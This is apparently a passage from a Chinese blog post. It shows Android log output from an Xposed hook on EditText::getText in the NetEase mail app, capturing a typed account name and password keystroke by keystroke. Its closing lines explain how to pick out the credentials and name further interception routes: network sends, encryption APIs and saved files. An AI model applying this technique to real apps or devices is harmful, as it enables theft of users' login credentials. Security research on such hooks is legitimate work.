10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.780 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.780 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.790 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:35.790 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:27:37.540 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:27:37.540 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.360 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.360 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:  [email protected] 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163 
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163

帐号和密码是分开的,也有许多冗余,只要做适当处理还是能够分析出正确的帐号和密码的,例如一个最简单的规则:永远取最后一个。
其他通用的方法可以有:截获网络发送,加密API,文件保存等,这里不一一试了。

你可能感兴趣的:(Android-HOOK)